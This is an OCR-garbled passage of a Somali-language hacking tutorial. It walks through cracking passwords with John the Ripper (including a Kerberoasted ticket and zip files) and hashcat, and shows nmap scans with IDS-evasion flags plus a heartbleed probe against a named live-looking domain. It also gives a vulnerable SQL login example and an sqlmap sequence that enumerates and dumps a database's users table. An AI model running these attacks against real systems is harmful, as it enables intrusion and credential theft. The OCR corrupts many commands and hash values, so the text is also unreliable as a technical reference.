ah ayaa ah gaab kaliya oo dildilaac ah, qaabka liiska ereyada, iyo koror.
Habka kaliya ee dillaaca ayaa ah kan ugu dhagsaha badan uguna fiican
haddii aad haysato fayl sir ah oo buuxa oo aad ku dillaacdo. Habka
Wordlist wuxuu isbarbar dhigayaa hash-ka liiska la yagaan ee
iswaafajinta sirta ah. Habka kororka ayaa ah kan ugu awoodda badan
uguna macquulsan in aan la dhammaystirin. Tani waa qaabkaaga xoog
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caayaan classic in isku dayo kasta oo dabeecad isku dhafan suurto gal
ah ilaa aad ka hesho natiijo suurto gal ah.

Habka ugu fudud ee loo tijaabiyo dilista erayga sirta ah waa in loo
oggolaado JtR inuu dhex maro taxane ah gaabab dildilaac oo caadi ah.
Amarkan hoos ku qoran wuxuu u sheegayaa JIR inuu isku dayo qaabka
"fudud", ka dibna liistada erayga ee asalka ah oo ay ku jiraan ereyo sir
ah, ka dibna hab "incremental" ah.

root@kali~# john passwordfile

Waxaad sidoo kale kala soo bixi kartaa liisaska ereyada kala duwan
internetka, waxaadna u abuuri kartaa liis gareysiyo cusub oo kuu gaar
ah JtR si aad ugu isticmaasho halbeegga —wordlist-ka.

root@kali~# john passwordfile -wordlist="wordlist.txt”

Haddii aad rabto inaad sheegto gaab jajabinta isticmaal cabbirka saxda
ah ee gaabka.

root@kali~# john --single passwordfile

root@kali~# john --incremental passwordfile

Mangling waa horudhac horudhac ah oo JtR ah oo hagaajinaya liiska
ereyga si hawsha jabka ay dhakhso uga dhigto. U adeegso cabbirka —

rules si aad u dejiso xeerarka mangling.
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root@kali~# john --wordlist="wordlist.txt” --rules --

passwordfile

Markaad rabto inaad aragto liiska ereyada sirta ah ee aad dillaacday,

isticnaal —tusi cabbirka.

root@kali~# john -show passwordfile

Haddii liiskaaga sirta ah ee dillaacsan uu dheer yahay, waxaad ku kala
shaandheyn kartaa liisaska xaddid dheeri ah. Waxaad sidoo kale dib u
wareejin kartaa wax soo saarka adoo adeegsanaya wareejinta
aasaasiga ah ee qolofkaaga. Tusaale ahaan, haddii aad rabto inaad
aragto inaad jabisay isticmaale root kasta (UID = o) isticmmaal the —

users parameter

root@kali~# john --show --users=0 passwordfile

Ama haddii aad rabto inaad tusto isticmaaleyaasha kooxaha

mudnaanta leh isticmmaal -guruubyo.

root@kali~# john --show —--groups=0,1 passwordfile
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Hoos waxaa ku yaal taliska JtR ee ka socda Webinar-ka Weerarka
Tooska ah ee Internet-ka. Xaaladdan, hackerkeenu wuxuu
adeegsaday kerberoast si uu u xado tikidhka bixinta tikidhada ee
Kerberos (TGT) oo ay ku jiraan hash la jabiyo, oo lagu keydiyey feyl la
yiraahdo ticket.txt. Xaaladeena, liiska ereyga la isticmaalay waa
feylka caadiga ah ee rockyou password ka Kali Linux, amarkana

waxaa loo dejiyay inuu soo sheego horumarka 3 dii ilbirigsi kasta.

root@kali~# john "--format=krb5tgs" "ticket.txt" "--

wordlist="rockyou.txt" "--progress-every=3"

Crack zip file password with john

Marka hore, tag galka faylka.
Waxaan u gaadan doonaa in qof walba oo halkan jooga uu taas
sameyn karo.

Ka dib, isticmaal amarkan:

root@kali~# zip2john zipfile > zipedtxt
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Ku beddel "zipfile" magaca faylka 'zip' ee aad isku dayeyso inaad
dillaacdo oo ku beddel "output.txt" magac kasta oo qaabkiisu

yahay .txt.

Ka dib amarkaas, waxaad arki doontaa inay sameyn lahayd feyl qoraal

ah.
Xashiishka ayaa lagu kaydiyaa faylkaas.
Si aad u dillaacdo hash, ku qor:

root@kali~# john --format=zip ziped.txt

Mar labaad, ku beddel "hashfilepath" kaaga. Mine waa tusaale uun.

Hadda, sug, oo waxaad arki kartaa inuu password kii crack gareeyay

Hash cat

Hashcat waa aalad soo kabashada sirta ah. Waxay laheyd saldhig

koodh lahaansho illaa 2015, laakiin kadib waxaa loo sii daayay inay
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tahay software furan. Qaybaha ayaa loo heli karaa Linux, OS X, iyo
Windows. Tusaalooyinka hashcat-hashing algorithms algorithms waa
LM hashes, MDg4, MDg, SHA-family iyo Unix Crypt gaabab iyo sidoo
kale algorithms loo isticmaalo MySQL iyo Cisco PIX.

Hashcat si cad ayaa loo dareemay sababtoo ah waxa kafiican; gayb
ahaan ku saleysan cilladaha ku jira barnaamijyada kale ee software ee
uu abuuray abuuraha hashcat. Tusaale wuxuu ahaa cillad ku jirta
nidaamka hashing maareeyaha sirta ah ee 1Password. Waxaa sidoo
kale lala barbardhigay barnaamijyo la mid ah daabacaadda Usenix

waxaana lagu sharaxay Ars technica

Isticmalka hashcat

Weerarka ku saleysan xukunka Hashcat wuxuu u badan yahay inuu
yahay weerarka ugu wax ku oolka badan ee ka dhanka ah furayaasha
sirta ee ka dheer 8 xaraf, laakiin waxay noqon kartaa wax xoogaa cabsi
leh inaad isku daydo oo aad qorto xeerarkaaga. Sababta tan ayaa ah
maxaa yeelay si heer sare ah ayaa loo gaabeyn karaa, waxaana jira
waxyaabo badan oo laga baran karo. Waxay u badan tahay inaad
tixraacdo xeerarka badanaa, laakiin waxaan ku siin doonaa qoraalo buur
xeerar kooban ah.

Si aan u bilawno banaanbaxaan, waxaan abuuri doonnaa dhowr
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galitaan oo hash ah oo ay ku jiraan dhowr eray sir ah. Kadib waxaa loo
soo saari doonaa feyl la yiraahdo "target_hashes." Amarka kasta waa in

lagu fuliyaa terminalka, sida lagu muujiyey shaashadda hoose:

echo -n “Password” | mdSsum | tr -d ” =" >> target hashes.txt

echo -n “HELLO” | mdbSsum | tr -d ” -” >> target hashes.txt

echo -n “"MYSECRET” | mdSsum | tr -d ” -” >> target hashes.txt

echo -n “Testl234" | mdSsum | tr -d ” -” >> target hashes.txt

echo -n “P455w0rd” | mdbSsum | tr -d ” -” >> target hashes.txt

echo -n “GuessMe” | mdSsum | tr -d ” -” >> target hashes.txt

echo -n “S3CuReP455Word” | mdSsum | tr -d ” -” >> target hashes.txt

Ikhtiyaarka -n wuxuu ka saarayaa khadka cusub ee lagu daray
dhammaadka "Password." Tani waa muhiim maadaama aanan
dooneynin astaamaha xariiqda cusub in lagu dhibo lambarkayaga sirta
ah. Qaybta "tr —d '-"" waxay ka saaraysaa wax soo saarka astaamo kasta

oo bannaan ama jiif ah.

Hubi password hashes ah ee aan u baahanahay inaan ku qorno xariiqda

amarka soo socda ee terminalka:

root@kali~# cat target_hashes.txt

Tan waxaa sidoo kale lagu muujiyey shaashadda hoose:

root@kali:~/Deskto
dc647ebb5e6711e155375218212b3964
eb61eeadgoe3b8ggcbbcbe27ac581660
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958152288f2d2303ae045cffc43a02cd
2¢9341ca4cf3d87bgesebgosdbazecy,s
75b712a6842e450f12acaoofdfs4c51d
031cbcccd3babbd4disg6330995b8do8
bsafob8o4ff7238bces8adefieoc213f

imka hadaba waxan isku dayayna inaan passworda ku jabino
hashcat -h.

Tan waxaa lagu muujiyey shaashadda hoose:

root@kali: ~/Desktop
File Edit View Search Terminal Help

Desktop# hashcat -h
hashcat - advanced password recovery

Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

- [ Options ] -

Options Short / Long Description

-hash-type Hash-type, see references below
, --attack-mode Attack-mode, see references below

, --version Print version
--help Print help
--quiet Suppress output
--hex-charset Assume charset is given in hex
--hex-salt Assume salt is given in hex
--hex-wordlist Assume words in wordlist are given in hex
--force Ignore warnings

Qaar ka mid ah xulashooyinka xashiishka ugu muhiimsan ayaa ah -m

(the hashtype) iyo -a (qaabka weerarka). Guud ahaan, waxaan u
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baahanahay inaan ku isticmaalno labada ikhtiyaar inta badan isku

dayga sirta ah marka la isticmaalayo Hashcat.

Hashcat sidoo kale waxay si khaas ah u gaabeeysay sharciyo loogu
adeegsado faylka liiska ereyada. Liistada astaamaha ayaa loo habeyn

karaa si loo jabiyo lambarka sirta ah.

Ugu dambeyntiina, Hashcat waxay siisaa xulashooyin badan oo ku
saabsan xasillooni sirta ah oo la jabin karo. Tan waxaa laga arki karaa

shaashadda hoose:

- [ Hash modes ] -

|

+

|

|

| Half MD5

| SHA1

| SHA-224

| SHA-256

| SHA-384

| SHA-512

| SHA-3 (Keccak)
| BLAKE2b-512
| SipHash

| RIPEMD-160
| Whirlpool

waxaan hadda bilaabi karnaa inaan kala-baxno xasaradaha ku jira faylka
bartilmaameedka_hashes.txt. Waxaan u adeegsan doonnaa gadka

amarka soo socda, sida hoos lagu muujiyey:

root@ kali: ~ / Desktop # hashcat -m o -a 0 -0 cracked.txt target_hashes.txt
Jusr/share/wordlists/rockyou.txt
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e -m o ayaa tilmaamaya nooca haashka aan jabinayno (MDg);
e -30ayaatilmaamaysa weerar gaamuus;
e -0 cracked.txt waa faylka wax soo saarka ee furaha sirta ah ee
dillaacay;
target_hashes.txt waa feylkeena soo galinta xashiishka;
Jusr/share/wordlists/rockyou.txt waa dariiqa saxda ah ee loo maro

faylka liiska ereyada ee ku saabsan weerarka gaamuuskan.

Ugu dambeyntiina, waxaan jabsannay 5 ka mid ah 7-da gashin ee
bartilmaameedka ah ee markii hore la soo jeediyay. Kuwaan hoos ayaa
laga arki karaa:

root@kali:~/Deskto
dc647eb65e6711e155375218212b3964:Password
eb61eead90e3b899c6hche27ac581660:HELLO
75b71aa6842e450f12aca00fdf54c51d:P455w0rd
2¢9341ca4cf3d87b9e4eb905d6a3ec45: Test1234
958152288f2d2303ae045cffc43a02cd:MYSECRET

Furaha sirta ahi waa daciif, mana u baahan dadaal iyo waqti badan in la
jabsado. Waxaa muhiim ah in la ogaado in sida ugu fudud ee sirta ahi

tahay, ay fududaanayso in la ogaado.

Sidaa darteed, ka dhig lambarkaaga sirta ah mid dheer oo adag. Sidoo
kale, iska ilaaliinaad adeegsato macluumaad shaqgsiyeed oo muuqda;

marna dib ha u isticmaalin sirta, oo si joogto ah ha u beddelin.
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Web Application Vulnerabilities
&
Hacking

Web application vulnerabilities and hacking waa inaad tijabisid web site
yada inaay leeyin meel uu hacker ka fa,idaysan karo ama hadaad adigu

hacking garaynayso inaad ka radiso meel aad ka jabsan ka radsato.

Siyaabo kale oo loo aad xirfada wep hacking sida buug boonty program

ama web securit.

Bug boonty

A bug bounty program waa heshiis ay bixiyaan degello badan, ururo iyo
horumariyeyaasha barnaamijyada taas oo shaqgsiyaadka ay ku heli
karaan agoonsi iyo magdhow si ay u soo sheegaan cilladaha, gaar

ahaan kuwa ku saabsan ka faa'iideysiga amniga iyo dayacanka.

Barnaamijyadani waxay u oggolaanayaan kuwa soo-saareyaasha ah
inay ogaadaan oo xalliyaan cilladaha ka hor inta aan dadweynaha guud
ahaan ka wargabin, ka-hortagga dhacdooyinka xadgudubka baahsan

Barnaamijyada abaal-marinta cayayaanka waxaa fuliyay tiro badan oo
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ururro ah, oo ay ku jiraan Mozilla, Facebook, Yahoo !, Google, Reddit,

Square, Microsoft, iyo abaalmarinta cayayaanka internetka.

Shirkadaha ka baxsan warshadaha teknolojiyada, oo ay ku jiraan
ururada dhagan ahaan muxaafidka ah sida Wasaaradda Difaaca ee
Mareykanka, ayaa bilaabay inay adeegsadaan barnaamijyada
abaalmarinta dhibka. koofiyadaha koofiyadaha si sharci ah si loogu
martigaado inay kageybgaataan iyadoo gayb ka ah gaab soo

bandhigista nuglaanta guud ama siyaasada.

Nmap

Nmap waa khariidad shabakad u soo baxday inay tahay mid ka mid ah
kuwa ugu caansan, qalabka daahfurka shabakadda bilaashka ah ee
suuga. Nmap hadda waa mid ka mid ah aaladaha asaasiga ah ee ay
adeegsadaan maamulayaasha shabakadu si ay u gariyaan
shabakadahooda. Barnaamijka waxaa loo isticmaali karaa in lagu helo
marti-gelin toos ah oo shabakad ah, lagu sameeyo baaritaanka

dekedda, xoqida ping, ogaanshaha OS, iyo ogaanshaha nooca.
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Tiro ka mid ah weeraradii ugu dambeeyay ee internetka ayaa dib-ugu-
fiirsaday feejignaanta nooca hanti-dhowrka shabakadda ee ay bixiso
Nmap. Falanqeeyayaashu waxay tilmaameen in falkii ugu dambeeyay
ee Capital One, tusaale ahaan, si dhakhso leh loo ogaan lahaa haddii
maamulayaasha nidaamku ay kormeeri lahaayeen aaladaha ku xiran.
Tilmaamahan, waxaan eegeynaa waxa Nmap yahay, waxa ay sameyn

karto, oo aan sharaxno sida loo isticmaalo amarrada ugu caansan.

Portscaner

Baakadaha ay Nmap u dirto dib ula soo noqoshada cinwaanada IP-ga
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iyo xog kale oo fara badan, oo kuu oggolaaneysa inaad agoonsato

dhammaan noocyada astaamaha shabakadda, iyagoo ku siinaya astaan
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ama khariidadda shabakadda waxayna kuu oggolaaneysaa inaad

sameysid agab iyo qalab software ah.

Nidaamyo kala duwan ayaa adeegsada noocyo kala duwan oo gaabab
xirmo ah. Nmap wuxuu shaqaaleeyaa borotokoollada lakabka gaadiidka
00 ay ka mid yihiin TCP (Protocol Control Protocol), UDP (Protocol
Protocol Protocol), iyo SCTP (Protocol Transmission Protocol), sidoo
kale waxay taageertaa hab maamuuska sida ICMP (Nidaamka Fariinta

Xakamaynta Internetka), oo loo isticmaalo in lagu diro fariimo galad ah.

Nidaamyada kala duwan waxay u adeegaan ujeedooyin kala duwan iyo
dekado nidaam. Tusaale ahaan, kheyraadka hoose ee UDP wuxuu ku
habboon yahay fiidiyoowga wagqtiga firaagada ah, halkaasoo aad ugu
sadgeyso gaar ka mid ah baakadaha lumay si aad ugu soo celiso
xawaare, halka waqtiga aan dhabta ahayn ee fiidiyowyada laga sii
daayo YouTube-ka la soo saaray oo loo isticmaalo tartiib tartiib tartiib
tartiib tartiib tartiib tartiib tartiib tartiib ah.

Isticmalka nmap

Qeybtaan Tababarka Nmap, waxaan ku qori doonaa amarrada kala
duwan ee aad ku isticmaali karto Nmap oo ay la socdaan calankooda iyo

sharaxaadda adeegsiga oo leh tusaale ku saabsan sida loo isticmaalo.
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Protocol
TCP syn port scan
TCP connect port scan
UDP port scan
TCP ack port scan

only port scan
only host discover
arp discovery on a local network
disable DNS resolution
specify a port or port range
scan all ports
fast port scan
detect the version of services running
aggressive scan
detect operating system of the target
paranoid IDS evasion
sneaky IDS evasion
polite IDS evasion
normal IDS evasion
aggressive speed scan
insane speed scan
default script scan

-script banner banner grabbing

TusaleExample

nmap -sS 192.168.1.1
nmap -sT 192.168.1.1
nmap -sU 192.168.1.1
nmap -sA 192.168.1.1
nmap -Pn192.168.1.1

nmap -sn192.168.1.1
nmap -PR192.168.1.1
nmap -n 192.168.1.1
nmap -p 1-30 192.168.1.1
nmap -p- 192.168.1.1
nmap -F 192.168.1.1
nmap -sV 192.168.1.1
nmap -A 192.168.1.1
nmap -0 192.168.1.1
nmap -T0 192.168.1.1
nmap -T1 192.168.1.1
nmap -T2 192.168.1.1
nmap -T3 192.168.1.1
nmap -T4 192.168.1.1
nmap -T5 192.168.1.1

nmap -sC 192.168.1.1

nmap -script banner 192.168.1.1
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use fragmented IP packets nmap -f 192.168.1.1

decoy scans nmap -D 192.168.1.1

use a given source port number nmap -g 22 192.168.1.1

Hadaba aan eegno inu website portiyo ssl ka furan

nmap -d -script ssl-heartbleed -script-args vulns.showall -sV fikrado.ml

tasonoo soo sari ina la jabsan karo sababto ah waa wordpress

sqlmap waa mid ka mid ah qalabka otomaatiga ugu badan ee sql-ka
ugu caansan uguna awoodda badan halkaas. Marka la eego url codsi
liita, sqlmap wuxuu ka faa'iideysan karaa xogta keydka fog wuxuuna
sameyn karaa wax badan oo jabsiga ah sida soo saarista magacyada
keydka, miisaska, tiirarka, dhammaan xogta miisaska iwm

Xitaa way agrin kartaa oo ku qori kartaa faylasha nidaamka faylka fog
duruufaha qaarkood. Waxaa lagu qoray Python waa mid kamid ah
aaladaha jabsiga ugu awooda badan. Sqlmap waa metasploit ee
cirbadaha sql.
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Sqlmap waxay kujirtaa qalinka tijaabada galinka linux sida kali linux,
backtrack, backbox iwm Dilaalada kale waxaa si fudud loogala soo bixi
karaa urlkan soo socda http://sqlmap.org/.

SQL Injection

Cirbadda SQL ama SQL injection waa farsamo cirbadeyn koodh ah, oo
loo adeegsado in lagu weeraro barnaamijyada xogta kexeeya, taas oo
weedhaha SQL ee xun lagu rido goob laga soo galo si loo fuliyo (tusaale
ahaan in lagu tuuro waxyaabaha ku jira keydka xogta weeraryahanka).
Cirbadda SQL waa inay ka faa'iideysataa u nuglaanta amniga ee
barnaamijka barnaamijka, tusaale ahaan, marka soo-geliyaha
isticmaalaha si khaldan loogu sifeeyo xarfaha xarafka toosan ee
baxsadka ah ee ku lifaagan bayaannada SQL ama soo-geliyaha
isticmaaleha aan si adag loo qorin oo aan si lama filaan ah loo dilin.
Cirbadeynta SQL waxaa badanaa loo yagaan 'vector weerar' ee
bogagga internetka laakiin waxaa loo isticmaali karaa in lagu weeraro
nooc kasta oo ka mid ah xogta SQL.

Weerarada cirbadeynta SQL waxay u oggolaaneysaa kuwa wax
weeraraya inay qariyaan agoonsiga, farageliyaan xogta jirta, sababaan
arrimaha diidmada sida kala iibsiga macaamilka ama beddelashada isku
dheelitirka, u oggolow in si buuxda loo soo bandhigo dhammaan xogta
nidaamka, la burburiyo xogta ama laga dhigo mid aan la heli karin, oo
ay nogdaan maamulayaasha server keydka

Daraasad la sameeyay 2012, waxaa lagu arkay in celceliska arjiga webka
uu helo 4 olole oo weerar bishii ah, tafaariiglayaashuna ay labanlaab ka

badan yihiin weerarada kale ee warshadaha kale.

Halkan waxaa ku yaal tusaale soo galitaanka isticmaale ee degel
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websaydh ah:

Username:

John Doe

Password:

myPass
Tusale

uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql ='SELECT * FROM Users WHERE Name ="'+ uName + " AND Pass ="' + uPass + "

Hackers wuxuu marin u heli karaa magacyada isticmaalaha iyo furaha sirta ah ee keydka macluumaadka isagoo si
fudud u gelinaya "AMA" "=" Magaca isticmaalaha ama sanduuqga qoraalka sirta ah:

Password:

or
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Isticmalka sglmap

1. Nidaamka fog ee iskaanka : Amarka ugu horeeya wuxuu baarayaa
nidaamka fog si loo arko hadday u nugul tahay cirbadeynta sql ka dibna
ay ururiso macluumaadka ku saabsan.

$ sqglmap -u "http://www.site.com/section.php?id=51"

Waxyaabaha kor ku xusan waa amarka ugu horreeya uguna fudud ee
lagu ordo qgalabka sqlmap. Waxay hubineysaa xuduudaha soo-gelinta si
loo ogaado haddii ay u nugul yihiin cirbadda sql iyo in kale. Sglmap-kan
wuxuu u dirayaa noocyo kala duwan oo ah culeysyada la isku duro ee
sql-ga ah cabbirka soo gelinta wuxuuna hubiyaa wax soo saarka.

In geeddi-socodka sqlmap sidoo kale uu awood u leeyahay inuu
agoonsado nidaamka fog ee 0s, magaca macluumaadka iyo nooca. Waa
tan sida wax soo saarku u ekaan karo.

[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysqgl'
[12:10:34] [INFO] testing connection to the target url
sglmap identified the following injection points with a total of 0 HTTP (s)
requests:
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT
COUNT (*) , CONCAT (0x3a73776c3a, (SELECT (CASE WHEN (1489=1489) THEN 1 ELSE O
END) ), 0x3a7a76653a, FLOOR (RAND (0) *2) ) x FROM INFORMATION SCHEMA.CHARACTER SETS
GROUP BY x)a)
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

Marka aaladda sqlmap waxay soo ogaatay nidaamka qalliinka, serverka



_ Somali Hacker 101

shabakadda iyo keydka macluumaadka oo ay la socdaan
macluumaadka nooca. Xitaa wax badan ayaa qurux badan. Laakiin waa
wagqtigeeda si loo sii socdo oo loo arko waxa ka badan qalabkani awood
u leeyahay.

2.Baro Databaseyada: Marka sqlmap uu xaqiijiyo in url fog uu u nugul
yahay cirbadeynta sql isla markaana laga faa'iideysan karo talaabada
xigta ayaa ah in la helo magacyada keydadka macluumaadka ee ka jira
nidaamka fog. Xulashada "--dbs" waxaa loo isticmaalaa in lagu helo
liiska keydka macluumaadka.

$ sglmap -u "http://www.sitemap.com/section.php?id=51" --dbs

Wax soo saarku wuxuu nogon karaa wax sidan oo kale ah

[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysqgl'
[12:12:57] [INFO] testing connection to the target url
sglmap identified the following injection points with a total of 0 HTTP(s)
requests:
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM (SELECT
COUNT (*) ,CONCAT (0x3a73776c3a, (SELECT (CASE WHEN (1489=1489) THEN 1 ELSE O
END) ) ,0x3a7a76653a, FLOOR (RAND (0) *2) ) x FROM INFORMATION SCHEMA.CHARACTER SETS
GROUP BY x)a)
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information schema
[12:13:00] [INFO] resumed: safecosmetics
availlable databases [2]:
[*] information schema
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[*] safecosmetics

Soo saarku wuxuu muujinayaa keydadka macluumaadka ee jira
nidaamka fog.

3.Ka hel miisaska keyd khaas ah: Hadda waa wagqtigeeda si loo ogaado
miisaska ku jira keyd gaar ah. Aan idhaahdo keydka macluumaadka
halkan lagu daneeyo 'safecosmetics'

Amarka

$ python sglmap.py -u "http://www.site.com/section.php?id=51" --tables -D
safecosmetics

wax soo saarkuna wuxuu nogon karaa wax la mid ah tan

[11:55:18] [INFO] the back-end DBMS is MySQL

web server operating system: FreeBSD

web application technology: Apache 2.2.22

back-end DBMS: MySQL 5

[11:55:18] [INFO] fetching tables for database: 'safecosmetics'

[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl acl

[11:55:21] [INFO] retrieved: acl acl sections

........... more tables

taasi miyaanay ahayn wax lala yaabo? dabcan waa Aynu hadda helno
tiirarka miis gaar ah.

4.Hel tiirar miis ah:Hadda oo aan haysanno liisaska miisaska, waxaa
fiicnaan lahayd in la helo tiirarka miiska muhiimka ah. Aan idhaahdo
miiska waa 'isticmaale' oo waxa ku jira magaca isticmaalaha iyo ereyga
sirta ah.

$ python sglmap.py -u "http://www.site.com/section.php?id=51" --columns -D
safecosmetics -T users
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Wax soo saarku wuxuu nogon karaa wax sidan oo kale ah

Marka hadda tiirarka ayaa si cad u muuqda. Shago wanaagsan!

5.Ka hel xog miiska: Hadda ayaa yimid gaybta ugu xiisaha badan, ee
ka saarida xogta miiska. Amarku wuxuu ahaan lahaa
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Amarka kor ku xusan wuxuu si fudud u daadin doonaa xogta miiska
gaarka ah, aad ugu eg amarka mysqgldump.
Soo saarku wuxuu umuugan karaa midkaan.

B e R R fomm - fom +——-
—————————— -

| 1id | hash | name | email | password | permission |
system home | system allow only |

— — S e ——————— A ——_— —
—————————— -

| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3

<blank> | <blank>

-t fo———————— fom————————— f————————— f——————— +——-
—————————— -t

Column hash u muugataa in ay leedahay hash password. Isku day inaad
dillaacdo xashiishka ka dibna waxaad heli laheyd faahfaahinta soo
galitaanka si deg deg ah. sqlmap wuxuu abuuri doonaa feyl csv ah oo ay
kujiraan xogta qashin qubka falangeyn sahlan.

llaa hadda waxaan awoodnay inaan macluumaad badan ka ururinno
keydka keydka fog iyadoo la adeegsanayo sqlmap. Waxay u egtahay
helitaanka tooska ah ee xogta fog iyada oo loo marayo macmiil sida
phpmyadmin. Xaaladaha dhabta ah Hackers waxay isku dayi doonaan
inay helaan heer sare si ay u helaan nidaamka. Tan awgeed, waxay isku
dayi lahaayeen inay jabsadaan xashiishka sirta ah waxayna isku dayaan
inay ka soo galaan guddiga maamulka. Ama waxay isku dayi lahaayeen
inay helaan qgolof 'os shell' iyagoo adeegsanaya sqlmap.

Waxaan qoray qoraal kale anigoo adeegsanaya sqlmap si aan u helo
faahfaahin dheeri ah oo ku saabsan keydka keydka macluumaadka fog.
Waxay sharraxaysaa xulashooyinka kale ee sqlmap ee waxtarka u leh in
la ogaado adeegsadayaasha keydka macluumaadka, mudnaanta ay
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leeyihiin iyo istcimaaladooda sirta ah.

Burpsuit

Burp Suite waa aalad si buuxda u adeegsanaysa web application attack:
waxay ku dhowdahay wax kasta oo aad waligaa rabto inaad sameyso
markii aad tijaabineyso codsi websaydh ah.

Mid ka mid ah astaamaha ugu muhiimsan ee loo yagaan '‘Burp Suite'
waa awooddeeda ay ku dhegeysan karto codsiyada HTTP. Caadi ahaan
codsiyada HTTP waxay ka soo galaan biraawsarkaaga si toos ah server-
ka kadibna jawaabta adeegaha webka ayaa dib looguugu celiyaa
biraawsarkaaga. Si kastaba ha noqotee Burp Suite, si kastaba ha
noqotee, codsiyada HTTP waxay ka socdaan biraawsarkaaga tooska ah
ee loo yagaan 'Burp Suite', kaas oo farageliya taraafikada.

Burp Suite ka dib waxaad ku dhajin kartaa HTTP cayriin siyaabo kala
duwan ka hor intaadan u gudbin codsiga server-ka. Asal ahaan
galabkani wuxuu u shageynayaa wakiil, "nin dhexda ku jira," oo u
dhexeeya adiga iyo arjiga shabakadda, taas oo kuu oggolaanaysa inaad
si fiican u maamusho taraafikada saxda ah ee aad direyso iyo aad
helayso.

Hadafkeena Burp ee ka hortagaya astaamaha wakiilku waa in la
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beddelo codsiyada si ay weli u raacaan sharciyada HTTP, laakiin waxay
ka dhigi kartaa codsigu inuu u dhagmo si lama filaan ah.

Helitaanka nuglaanshaha (Finding Vulnerabilities)

Marka hore, khariiddo arjiga oo dhan; la soco waxyaabaha garsoon ee
Burp Suite Spider oo ku dabakh mala awaal agoon leh si aad u hesho
bogag aad ku weerarto. Eeg codsiyada HTTP iyo jawaabaha markaad
ku dhex wareegeyso arjiga. Iskuday inaad fahanto sida codsiyada iyo

jawaabaha looguusoo gudbiyo horay iyo gadaal.

Isku day inaad fahanto tiknoolajiyada ka dambeysa arjiga. Ma waxay
isticmaaleysaa PHP, ma waxaa jira nooc ka mid ah keydka

macluumaadka, ma JavaScript culusbaa?

Ka dib hubinta waxa muuqda, waa inaan eegno dhanka ka faa'iideysiga
koontaroolada dhinaca-macmiilka ee isku dayaya in laga joojiyo
adeegsade inuu wax ku sameeyo cabirrada codsiyada GET ama POST.
Raadi isku dayga joojinta isticmaalaha inuu ku qoro xarfaha gaarkood
sanduuqgyada goraalka maaddaama kuwani badiyaa yihiin dhibco isku

duritaan wanaagsan.

Haddii gof kaa horjoogsanayo inaad wax ku sameyso arjiga shabakadda

waxaa macquul ah inay jirto sabab, haddii aad ka gudubto oo aad u
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hesho sababta ay isku dayaan inay kaa joojiyaan inaad waxaas

sameyso, badanaa waa hab weyn.

Qoraal guud oo ku saabsan weerarada cirbadeynta: markasta URL-ka
ayaa giraya marka jilayaasha loo weecinayo maadama aysan waligood

wax yeelin laakiin marwalba way caawisaa.

Hubi cirbadaha SQL ee ku jira codsiyada adoo isku dayaya astaamo
gaar ah oo loo yagaan 'SQL, tusaale ahaan calaamadda 'apostrophe’,

calaamadda rodol, dash, oo lagu daray, gawska, iyo wixii la mid ah.

Waxaa jira macluumaad aad u tiro badan oo ku saabsan sida loo helo

loona adeegsado irbadaha SQL oo waxaan kaliya xognay dusha sare.

Hubi qoritaanka iskutallaabta adoo galaya xarigga aan v isticmaalnay
soo saarista sanduuga digniinta. Eeg waxa dhacaya markii aad tan isku
daydo (hubi inay tahay URL habaysan), oo u fiirso jawaabta
biraawsarka. Haddii aad aragto digniin soo ifbaxaya hadda waxaad
heshay qoraal iskudhaf ah. Xaqiiqdii waad u bixi kartay halkaas boggag
internet badan waxaadna kaheli kartaa qoraalka iskutallaabta adoo
sidaas sameynaya, in kastoo aad dabcan waligaa isku dayin inaad

daagsato goob ogolaansho la‘aan.
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Haddii aadan arkin digniin soo ifbaxaya, taasi macnaheedu maahan
inaysan u nuglayn qoraalka iskutallaabta. Waxaad ku hubin kartaa
jawaabaha midkood Burp Suite ama adigoo si fudud u gujinaya
biraawsarkaaga oo aad fiirinaya isha. Waxyaabaha la hubiyo: miyaa
sumadaha qoraalkaaga sifeeya ama loo beddelay si uun? Haddii iyaga la
sifeeyo ama si uun loo beddelo, miyaad ka fikiri kartaa hab aad uga

tallaabsan karto shaandhadaas?

Waxaa jira shaandhooyin badan oo galafsan oo meesha yaal: iska hubi
waxa ay sameyneyso 0o arag haddii aad dhaafi karto. Fahmaan waxa
codsigu ku samaynayo isku daygaaga mushaharka ka dibna isku day
inaad gaabeysid taas. Haddii taa la waayo, waxa kale oo jira waxyaabo
dhab ah oo wanaagsan oo khadka tooska ah loogu talagalay
"shaandhaynta marinnada" kuwaas oo aad u fudud in la isticmmaalo.
Waad nuqul badan kartaa oo aad ku dhejin kartaa xargaha halbeegyada
oo badiyaa way shageyn doonaan, laakiin isku day inaad fahanto waxa

aad sameyneyso halkii aad kaliya koobiyeyn lahayd oo dhajin lahayd.

Aad u samir badanaa aakhirka waxaad bilaabi doontaa inaad fahanto
halka u nuglaanta ay u badan tahay inay ka dhacdo taasna waxay ku
dhamaan doontaa waqti badan oo aad badbaadiso.
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Isticmalka Burp Suit

Waxaan ku isticmaali doonnaa galab

01 - Information Gathering

02 - Vulnerability Analysis

badan Burp Suite inta lagu gudajiro

03 - Web Application Analysis

hanaankeena jabsiga. Burp Suite

® Web Application Proxies

waxaa laga heli karaa BackTrack, Pt oere s b
® Web Vulnerability Scanners
|aa ki i n WiXii macluumaad d heeraad 04 - Database Assessment
| 05 - Password Attacks
ah ama la soo degsigiisa Burp Suite, 06 - Wireless Attacks
07 - Reverse Engineerin 9
waxaad ka heli karta 08 - Explottation Tools

